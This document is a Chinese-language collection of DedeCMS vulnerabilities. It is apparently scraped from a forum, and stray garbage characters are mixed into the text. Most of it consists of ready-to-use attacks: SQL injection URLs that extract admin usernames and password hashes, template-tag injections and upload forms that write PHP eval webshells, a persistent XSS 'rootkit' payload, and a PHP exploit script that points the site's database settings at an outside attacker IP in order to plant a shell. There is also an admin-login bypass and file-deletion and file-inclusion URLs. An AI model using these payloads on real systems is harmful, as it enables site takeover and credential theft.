dedecms漏洞总结

admin

" H- t6 k4 N, I6 {Dedecms 5.6 rss注入漏洞
4 R" w  C; f9 Q; o$ p5 i; t3 ohttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
9 }. y- k" t4 q8 l+ R





  J8 |+ X, j; I' Q2 ~# A+ \: E9 u

- K1 j. M* g9 y2 O- C1 _2 zDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
) C- D$ ]( D: z' ra{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

- A1 O8 v; F+ i* r
4 T; s7 p! ?5 v+ e

% ]& z0 S+ B* C+ z
! B" u4 k; f" H! g/ k. O
* q9 g1 }9 l! s8 L& Y

Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
% I* t: e/ }8 h7 Z) H" uhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
/ _( b( h. k" t$ T, {
# g3 L/ n  _- W+ B; v1 N



4 T: p# b: b7 C$ G6 b3 y& X


6 `6 ~5 `* v9 Q; C  H6 r" yDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
2 \" ]( E; U0 t8 c$ _" L$ q





/ S3 a0 j) u) K# I( FDEDECMS 全版本 gotopage变量XSS漏洞
; a- v& U( ]) P, ]0 y; m7 @4 s1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
* @+ w3 W0 w8 G8 I+ b

* p0 q& V- ~" I7 ^  ^3 x8 d% s% R2 @2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
0 ^& R- A! U0 e7 g1 l, e( Nhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
! ^* ^0 O- N8 F: Y6 F  v6 f1 F3 a<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
0 z# c0 M( p. [' d4 @9 i' \# NDEDEcms Variable Coverage
5 g5 t* o: L0 g3 K! I: W5 WExploit Author: www.heixiaozi.comwww.webvul.com
);
  d, q% I0 e8 Z6 {echo "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
6 Q  N; ]7 g( C$ \, eaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
7 E$ n/ W( h2 y5 T/ @5 EExample:
! F: h) N) `  Jphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
" J$ p5 b  H# V');
& X$ {" q$ U3 F8 zexit;
}
  _2 Y: l& A' c: ^$url=$argv[1];
$aid=$argv[2];
. T) O. O3 M' e& S$path=$argv[3];
$exp=Getshell($url,$aid,$path);
9 ^" A" R; k4 E1 c9 Pif (strpos($exp,"OK")>12){
8 Q& K0 g4 V1 ?echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


4 H5 P( H) \! W& d' Q0 _if($aid==2)echo "
* {6 h5 \" g6 e  h7 xShell:".$url."/$path/fuck.php\n" ;
, p# A" C  S( e: u: _, T# o

9 m3 q# z1 U' G% Lif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
, t- Q3 a7 G0 e( T) Z) o
8 S8 j  n+ X; g- _% o
3 {/ v; _* w5 F: g}else{
echo "
Exploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
' j' x- q/ \. [$host=$url;
* E  G# k2 C1 Q$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( a7 a2 Z" t. l7 G  ]) ^2 j$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
% H* O9 F) o/ ?0 r$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
) F7 Z1 i5 d( Y5 m$data .= $content."\r\n";
% U2 v) E, r, Z+ Y# d4 H$ock=fsockopen($host,$port);
  B. g" t' U" l4 x' ~: f' Q3 Aif (!$ock) {
echo "
) {* c5 L: v+ cNo response from ".$host."\n";
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
9 Z8 {4 i, r% d0 _# _return $exp;
5 z" U7 a) K1 M}
}
* d5 V; y! \3 j: g" a

?>
' [/ G2 P  |+ s: W  H8 B8 j2 N

$ S/ [/ D6 M% ^8 m7 _0 a
! U  i2 D2 D$ E, N. \6 I$ ^
5 \6 W3 M8 d+ Y





DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
: d) B1 U1 Q: }$ p4 e: H- R
& r) b8 m; Q# z2 K# p
) W  {* q0 [8 E1 c5 ?: [把上面validate=dcug改为当前的验证码，即可直接进入网站后台
: i( Y4 _, [: j1 ^

, f8 X$ [; H* |9 n: z4 F( S此漏洞的前提是必须得到后台路径才能实现
0 i* [, E. _& D5 i/ o
1 M3 h. q- A9 g* [/ ^5 _% R& q
6 h" g' g+ R+ d4 K9 H" h


+ v0 w. G1 V, Z! ~  |* W% y, g9 E& ^

: H% J0 A8 N/ e; P# W# G, U' T
  V, M; X2 D( V( k! Q
/ u8 ~% ], M: u7 k3 R& t
7 J" m/ w1 P3 \) L& p( N( I) `( UDedecms织梦 标签远程文件写入漏洞
$ |$ o$ J8 [$ x: C' c; F前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

6 K- o. c8 T, ~- b, U7 [1 o
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
$ V+ Y  d0 v. c<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
* I$ R& R! [- E# l6 h6 h% E  m<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
. ^& M0 M! y% `- j; a<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
8 {  P: t, U8 x( M8 [- j, x+ I<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
+ o- O, g2 O4 X& G$ R( O<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
0 J) `$ G) M; K9 m% x5 N! a0 g<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
' f$ _5 a$ L4 I</form>
+ S3 a7 x5 V4 ?5 L9 V0 L& y<script>
; |2 o5 b* T# ffunction addaction()
/ T5 u7 B) w0 V* C# N# A. Q. K6 R{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>



8 I7 {6 S0 H- S- r$ [% H: V

4 f+ x* \$ m# ~: [5 z' E8 x5 S

0 A) p8 P& B. m) @

7 K5 Z: E+ `& V
* l( B; {0 o5 t; P; K/ ^" k) GDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
% L& m. Q3 I% w% z7 z6 R" b0 Qa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
2 E5 X# N2 ~5 n+ r

模板内容是（如果限制图片格式，加gif89a）：
2 u# d6 k- o7 ]2 I. g$ b$ E/ u% C; L{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
9 F4 n* x- i, {0 w5 Y+ `" H@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
- J, g7 a8 ~4 U# `4 N<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
3 P2 a$ Y* ^. \' r, B: X<input type="hidden" name="channelid" value="1" />
  x2 {0 ?: n0 C6 r<input type="hidden" name="oldlitpic" value="" />
3 Q* U, Y5 K9 P5 r<input type="hidden" name="sortrank" value="1275972263" />
9 {1 ]# T- o( o" Y  i0 o

( k$ h. `: E+ M6 X1 p<div id="mainCp">
7 i0 Z+ |( g+ L& c. G- o/ ^: s<h3 class="meTitle"><strong>修改文章</strong></h3>


) V8 W, v; _( n9 V3 N' ~8 `<div class="postForm">
! H  o+ }! @2 [7 H% G<label>标题：</label>
2 x5 ^: R) b1 D. W/ F1 B<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
$ I% ?9 `. B7 S, {* D( T

' c" }9 f1 v/ A<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
" n' U4 J, P& B5 G1 W) {
; V3 C* W8 M% R
8 f2 J2 a+ `7 i8 I1 \6 |- V<label>作者：</label>
  L  a3 e6 ~$ X3 E' V7 j; ^* Z7 c<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


& h/ m! i2 v, ^1 Q1 O9 s9 V; J" m<label>隶属栏目：</label>
" _3 ~1 O4 c! c7 U( t<select name='typeid' size='1'>
5 @7 g; c" S4 ?- Q; o! p<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
; I' x+ Q; l6 A1 Z+ [: {
( V8 J( u+ \8 F/ M; l
; y9 ]0 {4 u3 X, Z! G' l  \/ m<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
8 v1 b- ^2 G( v0 L' ?+ ~1 V<option value='1' class='option3' selected>hahahha</option>
</select>
- q; d' _+ A$ o8 v9 M% ~4 A

) r& G2 P2 E) l' J0 u2 a<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
/ ^1 H/ t& W/ X4 o3 `  K9 `(内容的简要说明)


<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
$ [: X0 Q: A7 I
0 _2 ?& J/ x/ A. V
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
6 v& ~: Y: y/ K0 I" Q; X4 q<input type='text' name='dede_addonfields'
5 F  [* C" k9 n& M/ ~4 }% H) Ivalue="templet,htmltext;">（这里构造）
/ _' ]( E/ |9 [/ V3 c& q4 _( u& d9 L- U</div>


<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>


<div class="contentShow postForm">
6 d+ Z. A9 {8 v/ e2 |8 D<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
+ K% L: e0 f( G& A

/ u9 ]* Z& ~; R3 E0 g7 q! `<label>验证码：</label>
) K3 D. ?% A. I. ~8 o( L3 [6 h) y( X0 @! a<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


<button class="button2" type="submit">提交</button>
' Z  `4 _9 q  S<button class="button2 ml10" type="reset">重置</button>
</div>

; {6 W5 s1 I3 r, `$ {
6 O7 q& Y3 s4 i1 c3 ?" F</div>

* Q3 X; a% ^- l% F0 h' Q% |6 J
) A3 |9 D0 h/ C4 g4 Y% t</form>
9 a4 c5 p! E. K  G  D8 N1 F+ o
/ g* t+ ^3 x6 g. G) V) w# M
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
* ?' Y4 p0 O) S9 B" e$ Y( c假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php


$ ?- `6 b" r, {) k1 X$ d
4 B$ O1 ^1 t( O# O

: [) v* f) [5 q7 u/ W8 b( L# W& {
$ X3 g6 a! p0 O
9 R. e  w, Y- m' W; s
8 T; v' R$ x) K% p# i- H' y0 i' \. a
. N! ?2 ?$ p8 \& n' m- k


DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
" `; ]  }7 `4 m3 q  A) ?. jGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
, o7 F  V! `1 j/ j. Q- [9 M3 |1 j{/dede:field}
保存为1.gif
' y# [# x2 [9 z6 |) v" F<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
6 w; ~' n' L. f: z! W& H* v<input type="hidden" name="mediatype" value="1" />
- j6 F3 m( j( B2 M4 o  w' E$ g<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
5 M4 v5 `9 R; N( X1 F<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
+ Y! g4 S7 X7 _0 a<button class="button2" type="submit" >更改</button>
</form>
2 i4 [: l3 l* e2 R) Y4 V4 k

1 i. n0 k, J6 D: s: ~" c, z" _构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
$ F" M- S5 {* I发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
; |1 ]. {! f' w0 B+ D<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
$ q8 \9 Z' E6 E<input type="hidden" name="oldlitpic" value="" />
3 {- c: H& C3 j, {& W<input type="hidden" name="sortrank" value="1282049150" />
. {* c5 r2 e/ u( f9 q$ n* Z5 b<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
- p/ B8 O/ M* Z+ O4 J<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
# K- }" A5 b* l2 u+ E1 e; w<option value='1' class='option3' selected=''>Test</option>
  d* ?' L7 S. y: u& }* q& \6 z<select name='mtypesid' size='1'>
4 h$ d& i+ m0 f" ?8 }+ i( B<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
: ^# {& W; i  w2 L4 Z<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
% p5 f- H+ G, j3 B0 t  Z# f- p* `0 A<input type='hidden' name='dede_addonfields' value="templet">
- I3 I% m" M1 Z6 @) [4 C<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>

; a# S6 z! N) l! X' X. {/ C* ~

. O  }$ t" U. {" z1 |
# u1 r3 u1 l2 s
! X  z1 A. L7 t% w  Y' |
$ p! t- a: c" {1 V4 a

6 }( o9 h. ?) p" m! p
$ J5 k3 J" ~' {" X" y8 t! g8 k
, S! }8 b( g5 H  b, w- [: E: h! y
% N6 X" I0 ]2 c. @$ q  w
1 a  [& f7 Q( _& l1 J7 h7 [9 N& p! @织梦(Dedecms)V5.6 远程文件删除漏洞
' F' _9 m( d4 z6 e  G0 n2 X, ghttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
, n' V0 T, R. s  X4 Q! C9 p; g


( A- _; h, L% U8 `. T: ~, F

- N1 H6 K( J1 F: u

7 }8 q0 z7 n2 c4 M
$ x1 ~) p- N* ^( d

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../

& e* F! e6 A' o; j/ g1 q
5 t& z7 @6 C9 O$ _" r# U2 I3 }

. J) b9 ]. z+ B! s" x

* r/ a% S7 Q# T- L5 ]2 `% b& u3 w

7 q. v6 c+ u( {7 Z  n' p, A# X8 C

5 `3 l' ~; c9 c4 J8 S& ]DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
% H$ {' C9 r- f. W' J. r& y密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
& g: O" Q3 c, O2 v" w" S1 C






( ~' f7 f" h1 d


; _% E' T# E3 [. q+ ^  v: y- i织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
+ z2 R6 T  y1 A6 x; rhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

% \0 C, d0 v- L4 I: a  U5 c5 T/ l


0 `$ V4 s. |- S+ `( _' X, Z
/ `  a" g( v% ^) n




) L! E- W% y( C. o, \织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
( ?; m* M( S% ^4 {5 M<html>
<head>
9 P) s/ u6 u. R2 B! H% F. g  d<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
3 @, h, d3 t3 s8 u$ f<body style="FONT-SIZE: 9pt">
/ E6 b: V7 D% ^: F" s) d5 k( f---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
9 {) q+ o$ @4 |! |<input type='hidden' name='cfg_basedir' value='../../' />
1 y6 y# A8 [/ Y. J3 b<input type='hidden' name='cfg_imgtype' value='php' />
" q  x: l0 q1 k3 k$ y* i<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
$ Q5 m% ~+ m8 O/ _<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
: H6 h5 Y; @/ u; R+ R; i7 ~<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
0 c) |6 {# T! V1 s4 c5 y0 L<input type='submit' name='sb1' value='确定' />
</form>
) s7 f: e$ l- R' C<br />It's just a exp for the bug of Dedecms V55...<br />
7 d: J, g9 i9 C# |Need register_globals = on...<br />
2 r1 [, M7 ^) {  nFun the game,get a webshell at /data/cache/fly.php...<br />
8 B  \3 {( K9 z8 S" r1 B</body>
</html>

6 }9 H. ]# ]2 O7 r& v$ ^
6 }3 i$ f* |+ ]


$ H0 G; E# v$ b" ~( m" y



' r* E, F# d; y  D2 J* k5 c
' \0 g8 V' u4 t3 Z* ]织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
/ E: n( o) O: i3 E: N! w1 ^http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
3 g, U7 l: v1 m+ W  t可看见错误信息
3 Q3 ~5 j, ?5 w2 Q, G6 y
: L/ r3 I& e4 o, n" G6 B5 M/ O
: P+ Y6 o9 m# P* f7 f4 R2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
" U- Z4 t& m6 v8 j% E

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
! S( M1 u, n9 z" A( y& F: |6 F2 s: X

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


; s/ z; k  Y- u% g) O按确定后的看到第2步骤的信息表示文件木马上传成功.
7 X& q1 P/ c3 r& l
3 o9 E6 t9 L! S" b3 J* K8 ?; ]



: i, Y, `; [7 V
8 G4 }7 X. z- \, v


# }4 v8 v" |  C; {1 _
/ p# \7 c' c, z7 [
. a. {) G9 S$ i' Y
$ s. [( q1 k- I/ _1 e. E6 w织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*